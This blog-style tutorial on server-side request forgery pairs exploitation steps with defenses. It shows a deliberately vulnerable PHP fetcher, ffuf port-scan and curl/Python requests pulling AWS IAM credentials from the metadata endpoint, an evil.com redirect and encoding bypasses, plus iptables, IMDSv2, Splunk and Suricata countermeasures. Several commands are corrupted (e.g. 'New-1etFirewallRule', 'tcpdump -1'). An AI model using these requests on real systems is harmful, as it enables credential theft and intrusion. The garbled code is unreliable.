Listen to this Post
Introduction:
Server-Side Request Forgery (SSRF) is a critical web vulnerability that forces a vulnerable server to make unauthorized requests on behalf of an attacker. By abusing features like URL fetchers, file uploads, or webhooks, an adversary can pivot from the internet into your internal network, cloud metadata services, and restricted databases – turning your trusted backend into a malicious proxy.
Learning Objectives:
- Understand SSRF attack vectors and how they bypass traditional firewall and allowlist controls.
- Learn to exploit SSRF for internal network reconnaissance, cloud credential theft, and port scanning using real commands and tools.
- Implement defensive measures including input validation, egress filtering, cloud metadata protection, and detection strategies.
- How SSRF Works Under the Hood – The Anatomy of a Forged Request
SSRF occurs when an application accepts a user‑supplied URL and makes a server‑side HTTP/HTTPS request without sufficient validation. For example, consider a PHP script that fetches a website screenshot or a webhook tester.
Vulnerable code example (PHP):
$url = $_GET['url']; // user input $content = file_get_contents($url); // server-side request echo $content;
An attacker supplies http://169.254.169.254/latest/meta-data/` (AWS metadata) or `http://internal-admin-panel:8080`. The server executes the request, exposing internal data.
Why it’s dangerous: The request originates from the trusted server’s IP, bypassing network ACLs that block external access to internal services.
2. Exploiting SSRF – Attack Scenarios and Commands
Below are step‑by‑step techniques to simulate SSRF exploitation (use only on systems you own or have explicit permission to test).
Step 1: Identify potential SSRF sinks – Look for features that fetch URLs: profile picture upload from URL, RSS feed import, website status checkers, PDF generators, or API callback endpoints.
Step 2: Basic internal resource access – Submit a request to `http://localhost:80` orhttp://127.0.0.1:8080`. Observe if the response contains internal service banners.
Step 3: Port scanning via SSRF – Use a tool like `ffuf` or Burp Intruder to fuzz common internal ports:
ffuf -u 'http://vulnerable-site.com/fetch?url=http://192.168.1.1:FUZZ/' -w ports.txt
Example ports.txt: 80,443,22,3306,6379,8080,8443,5000,27017. A successful response (e.g., 200 OK, different error) indicates an open port.
Step 4: Access cloud metadata – Cloud providers expose instance metadata at a link‑local address. For AWS:
curl -v 'http://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
If successful, you can retrieve temporary IAM credentials and escalate to full cloud takeover.
Windows PowerShell alternative (if the vulnerable server runs on IIS with .NET making requests):
Invoke-WebRequest -Uri "http://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/"
Attackers can chain SSRF with other vulnerabilities like Redis or Memcached to achieve remote code execution.
- Cloud Metadata API Deep Dive – Credential Theft in Action
Cloud metadata endpoints are prime SSRF targets because they require no authentication from the local instance.
AWS metadata endpoint examples:
– `http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-1ame]` → returns AccessKeyId, SecretAccessKey, Token.
– `http://169.254.169.254/latest/user-data` → often contains startup scripts with secrets.
GCP metadata: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` (requires headerMetadata-Flavor: Google`). Attackers can often bypass header checks via CRLF or redirects.
Azure metadata: http://169.254.169.254/metadata/instance?api-version=2017-08-01` (requires headerMetadata: true`).
Step‑by‑step exploitation with Python (proof of concept):
import requests target = "http://vulnerable-site.com/fetch?url=" metadata_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" r = requests.get(target + metadata_url) print(r.text)
Defenders must protect these endpoints by configuring network policies (see section 4).
- Defensive Mitigation – Network Hardening & Egress Filtering
Stopping SSRF requires controlling outbound traffic from your application servers.
Linux – iptables egress rules to block internal IP ranges
Block access to link-local (169.254.0.0/16), private IPv4 ranges, and localhost iptables -A OUTPUT -d 0.0.0.0/8 -j DROP iptables -A OUTPUT -d 10.0.0.0/8 -j DROP iptables -A OUTPUT -d 127.0.0.0/8 -j DROP iptables -A OUTPUT -d 169.254.0.0/16 -j DROP iptables -A OUTPUT -d 172.16.0.0/12 -j DROP iptables -A OUTPUT -d 192.168.0.0/16 -j DROP iptables -A OUTPUT -d 224.0.0.0/4 -j DROP iptables -A OUTPUT -d 240.0.0.0/5 -j DROP
Note: This blocks ALL outbound to internal ranges. Ensure your application doesn’t need legitimate access (e.g., to a database). In that case, use allowlist approach.
Windows Firewall via PowerShell
New-1etFirewallRule -DisplayName "Block Private Outbound" -Direction Outbound -RemoteAddress 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,127.0.0.0/8 -Action Block
Cloud‑native protections:
- AWS: Use VPC endpoints and block access to IMDSv1; enforce IMDSv2 (requires PUT request with token).
Set IMDSv2 as required on an EC2 instance aws ec2 modify-instance-metadata-options --instance-id i-12345 --http-tokens required --http-endpoint enabled
- GCP: Block metadata access by default via firewall rules; use `block-project-ssh-keys` metadata flag.
- Azure: Disable metadata endpoint on VMs where not needed using Azure Policy.
- Application‑Level Protections – Allowlists and Safe URL Parsing
Never rely solely on blocklists – attackers bypass them with redirects, encoding, or alternative IP representations (decimal, octal, hexadecimal).
Step 1: Use strict allowlist of allowed domains or URL prefixes.
Example in Python using `urllib.parse` and a domain allowlist:
from urllib.parse import urlparse
ALLOWED_DOMAINS = {'api.example.com', 'trusted.cdn.com'}
def is_safe_url(url):
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
return False
Also resolve DNS to catch IP‑based bypasses
return True
Step 2: Implement robust URL validation and reject any unexpected schemes (only http/https, no file://, dict://, gopher://).
Step 3: Disable HTTP redirects or validate each redirect’s target recursively. Many SSRF bypasses use a redirect to an internal IP.
In cURL:
curl --max-redirs 0 'http://vulnerable-site.com/fetch?url=http://evil.com/redirect'
In Python requests:
requests.get(url, allow_redirects=False)
Step 4: Use a dedicated HTTP client that binds to a restricted network interface (e.g., only the public interface, or a proxy with outbound allowlists).
- Advanced Bypass Techniques and How to Block Them
Attackers constantly evolve SSRF bypasses. Defenders must anticipate:
- DNS rebinding – A domain resolves to a public IP first, then switches to an internal IP after validation.
Mitigation: Resolve DNS twice (before and after request) and compare; use `ResolveHostToIP` function that rejects any internal IP even after redirect. -
URL encoding tricks – `http://10.0.0.1` can be `http://0xA000001` (hex), `http://0250.0.0.1` (octal), or `http://167772161` (decimal).
Mitigation: Normalize URL to standard dotted decimal before checking. -
Redirect to internal IP from an allowed domain – Register `evil.com` that 302 redirects to
169.254.169.254.
Mitigation: Disable redirects, or follow but re‑validate each hop. -
Using less‑known protocols –
dict://,gopher://, `ftp://` can sometimes reach internal services.
Mitigation: Strictly whitelist `http://` and `https://` only.
Step‑by‑step testing of your own SSRF defenses using Burp Suite:
1. Send a request with url=http://127.0.0.1:22`. Observe if the server responds with SSH banner or an error revealing internal service.url=http://localtest.me` (resolves to 127.0.0.1) – many blocklists miss this.
2. Try
3. Fuzz with alternative representations: `url=http://2130706433/` (decimal for 127.0.0.1).
- Monitoring and Detection – Catching SSRF in the Wild
Detect active SSRF exploitation by monitoring server‑side outbound requests.
Log analysis (Linux – audit outbound connections):
Log all outbound connections from your web server process (e.g., nginx or php-fpm) sudo tcpdump -i eth0 -1 'dst net (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or 169.254.0.0/16) and not host 172.31.0.1' -l | tee /var/log/ssrf_alerts.log
SIEM query (Splunk) for suspicious outbound requests:
index=web_access sourcetype=access_combined | where client_ip != "internal" AND dest_ip IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) | table _time, client_ip, dest_ip, uri, user_agent
Set up real‑time alerts – If any internal IP is requested from the application server, block the user’s session and trigger an incident.
Example Suricata rule to detect SSRF attempts:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SSRF attempt - internal IP in URL parameter"; content:"url="; http_uri; content:"169.254.169.254"; within:50; classtype:attempted-recon; sid:1000001; rev:1;)
What Undercode Say:
- Key Takeaway 1: SSRF is dangerously underestimated because it weaponizes the trust given to internal servers. Most organizations focus on inbound firewalls but forget that outbound requests from a compromised web server can exfiltrate cloud credentials and map internal networks.
- Key Takeaway 2: Defence must be layered – network egress filtering, application allowlists, and cloud metadata protection are all required. No single control stops all bypasses; DNS rebinding and redirect tricks easily defeat naive blocklists.
Analysis: The post correctly highlights SSRF as a “server‑as‑proxy” attack. However, real‑world incidents (Capital One breach, 2019) show that even advanced cloud environments misconfigure IAM roles and metadata access. The most overlooked mitigation is disabling HTTP redirects and using URL parsers that normalize alternative encodings. Additionally, many DevSecOps teams fail to monitor outbound internal requests – SSRF often succeeds because no one looks for the server talking to its own metadata endpoint. Moving forward, integrity of server‑side request libraries (like `axios` or requests) must be hardened by default, and cloud providers should make IMDSv2 mandatory. SSRF will remain a top OWASP risk until egress filtering becomes as routine as ingress rules.
Prediction:
- -1 Expect a surge in SSRF‑driven cloud breaches over the next 12 months as more organizations adopt microservices and serverless architectures where internal HTTP calls are ubiquitous and poorly validated.
- +1 Cloud providers will accelerate default‑on protections (e.g., AWS IMDSv2 becoming mandatory, GCP’s metadata hardening) and release automated SSRF scanners as part of native security hubs.
- -1 Attackers will increasingly combine SSRF with cache poisoning and DNS rebinding to bypass even robust allowlists, targeting CI/CD pipelines that fetch external artifacts.
- +1 Open‑source libraries will introduce “secure‑by‑default” HTTP clients that require explicit allowlists, reducing the number of vulnerable endpoints.
- -1 Low‑code and no‑code platforms, which abstract network calls, will become prime SSRF vectors due to limited visibility into backend request behaviour.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Cybersecurity Ssrf – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
